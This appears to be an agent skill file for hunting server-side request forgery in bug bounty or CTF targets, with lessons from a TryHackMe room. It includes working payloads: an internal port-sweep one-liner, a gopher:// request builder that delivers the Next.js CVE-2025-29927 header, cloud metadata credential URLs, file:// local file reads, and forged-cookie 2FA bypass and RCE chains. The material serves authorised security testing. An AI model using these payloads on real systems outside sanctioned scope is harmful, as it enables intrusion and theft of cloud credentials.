--- name: hunt-ssrf description: SSRF hunting - OOB-mandatory methodology. Cloud metadata, blind SSRF via Collaborator/interactsh, redirect-based bypass, headless browser chains. Wiki-first, FIND schema output. --- # Hunt: SSRF **Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here. ## Wiki ``` qmd_query "SSRF server-side request forgery cloud metadata" via wiki-search MCP ``` Hub: [[web-moc]] (live web index). Primary page: [[wiki/payloads/ssrf]]. Payload arsenal: `wiki/payloads/ssrf.md`. Bypass variants: [[dns-rebinding]] (hostname re-resolution TOCTOU past an allowlist), [[open-redirect]] (chain a trusted redirect to an internal target). ## Confirmation gate **Blind SSRF claims require OOB confirmation. No exceptions.** NOT confirmation: URL echo in error message, different status code, delayed response alone. IS confirmation: DNS lookup or HTTP request to your unique Collaborator/interactsh subdomain. When you plant a blind/OOB SSRF payload, append a row to `targets//oob.md`: `| | | ssrf | | waiting | |` (columns: token | sink | class | planted | status | source, where token = your unique Collaborator/interactsh label). The recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart surfaces HITs; a HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind SSRF without a HIT row. Setup OOB before testing (full channel guide: wiki `oob-callbacks` - DNS-vs-HTTP, self-hosted interactsh, DNS exfil): ```bash interactsh-client -v # or use Burp Collaborator # Tag each sink: dlsrcurl., import., webhook. ``` ## Attack Surface Signals URL patterns: ``` ?url= ?uri= ?src= ?source= ?feed= ?host= ?target= ?dest= ?redirect= ?callback= ?image= ?fetch= ?load= ?endpoint= /api/*/preview /api/*/fetch /api/*/import /api/*/webhook /api/*/render ``` High-value tech: Kubernetes (internal API), GCP/AWS/Azure (metadata), headless browsers (PDF/screenshot), link-preview features, file-import pipelines. **Check SCHEME control EARLY (before grinding host/port bypasses).** If the sink concatenates your input as a raw URL PREFIX with no hardcoded scheme (e.g. pycurl `setopt(URL, server + '/path')`, `requests.get(host+path)`; tell: the default value has no `http://`, like `server=host:8087`), you control the scheme, not just the host -> try `file:///etc/passwd` and `file:///` for a straight **LFI**, and `gopher://` for internal TCP. The moment `file://` reads a file, READ THE APP SOURCE FIRST - it reveals the real ports/ auth/next-steps faster than any probing, and on Flask `debug=True` a file-read computes the console PIN -> RCE ([[werkzeug-debug-console-rce]]). Also: pointing the sink at your own listener leaks its outbound request headers (API keys/tokens). See [[wiki/payloads/ssrf]] "Scheme-controllable SSRF -> file:// LFI". ## Once outbound is confirmed: ENUMERATE INTERNAL FIRST (do not skip) An internal-only service is the usual SSRF objective and it is **invisible to your external nmap**, so the SSRF is your only scanner. Before grinding cloud metadata or filter bypasses, sweep `127.0.0.1` ports THROUGH the sink and fingerprint everything that answers: ```bash export T= # non-empty / distinct body = open. Sweep the FULL range, threaded (-P 50). Under no_dos or a # scan-rate cap in scope.md, probe the curated high-value port list in wiki/payloads/ssrf instead # of blasting all 65535. This is service discovery, NOT object enumeration -- the hunt-core 5-20 # ceiling does not apply; the RoE cap does. seq 1 65535 | xargs -P50 -I{} sh -c 'r=$(curl -s -m3 "http://$T/preview.php?url=http://127.0.0.1:{}/"); [ -n "$r" ] && echo "OPEN {} len=${#r}"' ``` - **Sweep wide.** "Common ports only" misses the box: THM Extract hid its objective (a Next.js app) on internal **:10000**. Threaded drop-in + curated high-value ports in [[wiki/payloads/ssrf]] payloads. - **Fingerprint each internal service and run it through `playbook.json` / the matching hunt skill exactly as if it were external** (``, `Server` / `x-powered-by`, `/_next/static` -> Next.js -> CVE-2025-29927, `/solr`, `/actuator`, Jenkins, GitLab...). recon-capture only fingerprints EXTERNAL tool output, so an SSRF-discovered app will NOT auto-fire the playbook - you must apply it by hand. **This is exactly where internal CVEs get missed.** ## Gopher: send what `?url=` cannot A plain `?url=` fetch issues a fixed `GET` with no control over method/headers/cookies/body. Many internal exploits need precisely that control. `gopher://host:port/_<raw-bytes>` makes the sink open a raw TCP socket and send arbitrary bytes - a full HTTP request you craft: ```python import urllib.parse, subprocess T="<target>" def gopher(raw: bytes, port: int): # raw = the complete request you build sel=''.join('%%%02X'%b for b in raw) # percent-encode bytes -> gopher selector g='gopher://127.0.0.1:%d/_%s'%(port, sel) return subprocess.run(['curl','-s','-m','10', 'http://%s/preview.php?url=%s'%(T, urllib.parse.quote(g, safe=''))], # encode again for ?url= capture_output=True).stdout req=b'GET /admin HTTP/1.1\r\nHost: 127.0.0.1\r\nx-middleware-subrequest: middleware\r\nConnection: close\r\n\r\n' ``` Unlocks: **custom headers for header-based CVEs** (Next.js CVE-2025-29927 `x-middleware-subrequest`), **HTTP Basic auth** (`Authorization: Basic`), **POST logins**, **forged cookies** (serialized-object / JWT swaps), and raw protocols (Redis / FastCGI / SMTP). Full `send(method,path,headers,cookie,body)` builder in [[wiki/payloads/ssrf]] payloads. Gopher cannot read files - it is for TCP services, not `file://`. ## Methodology 1. Map all URL-input parameters across the target 2. Set up OOB listener, sub-tag per sink 3. Send callback URL as parameter value first - confirm server makes outbound connection 4. Test cloud metadata: ```bash # AWS IMDSv1 http://169.254.169.254/latest/meta-data/iam/security-credentials/ # GCP (requires Metadata-Flavor: Google) http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token # Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01 ``` 5. Internal services: **sweep the FULL port range via the sink** (see "ENUMERATE INTERNAL FIRST" above), not just these known ones: ```bash http://127.0.0.1:6443/api/v1/namespaces # Kubernetes API http://127.0.0.1:2379/v2/keys # etcd http://127.0.0.1:9200/ # Elasticsearch http://127.0.0.1:9090/ # Prometheus http://127.0.0.1:{3000,5000,8000,8080,8888,9000,10000}/ # app/admin ports - where the objective usually hides ``` 6. Test redirect-based SSRF (host redirect server pointing to internal addresses) 7. Test headless browser contexts - inject `<script>fetch(...)` for PDF/screenshot endpoints 8. Chain: SSRF -> cloud creds -> account takeover; SSRF -> Redis/memcached -> RCE 9. **Distill when confirmed** (per hunt-core): reusable cloud bypass or SSRF chain, GENERIC, `python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/ssrf.md`. ## Lessons (THM Extract) - The objective (a Next.js app) sat on internal **:10000**, reachable ONLY via the SSRF. A full-range internal sweep found it; a "common ports" pass did not. **Sweep wide, sweep early.** - The win was a **header** (`x-middleware-subrequest`) a `?url=` GET can't set -> delivered over **gopher**. When a known CVE needs a specific header/method/cookie, reach for the gopher builder, not a fancier `?url=` value. - An SSRF-reachable internal admin (localhost-only `/management`, Apache `Require ip`) **is in scope**: HTTP Basic auth, a POST login, and a **forged serialized-object cookie** (PHP `O:9:"AuthToken":...{validated;b:0}` -> flip to `b:1` = 2FA bypass) all rode the one gopher tunnel. - **server-status / access-log read via SSRF echoes YOUR OWN requests** (gopher = `127.0.0.1`, direct hits = your VPN IP). Filter your source IPs before treating a repeated request as a victim cron - a phantom "cron" here was self-induced and burned time. - File read stayed blocked (`file://` / `php://` / `data://` keyword-filtered, case-insensitive) and the chain needed none. Don't grind source disclosure the chain doesn't require. ## Severity FIND output and Deadends format per hunt-core; rated on what the SSRF actually reached: - **critical** - cloud metadata credentials retrieved (IMDS role creds). - **high** - internal service access (admin panel, Redis/etcd/k8s API, an internal app). - **medium** - DNS-only OOB, no internal read. Class deadend line: `- [ ] SSRF on <host> param <param> -- zero OOB callbacks, URL echo only (server-side validation, not fetching)`. Exhaustion is ~38 payloads with zero callbacks.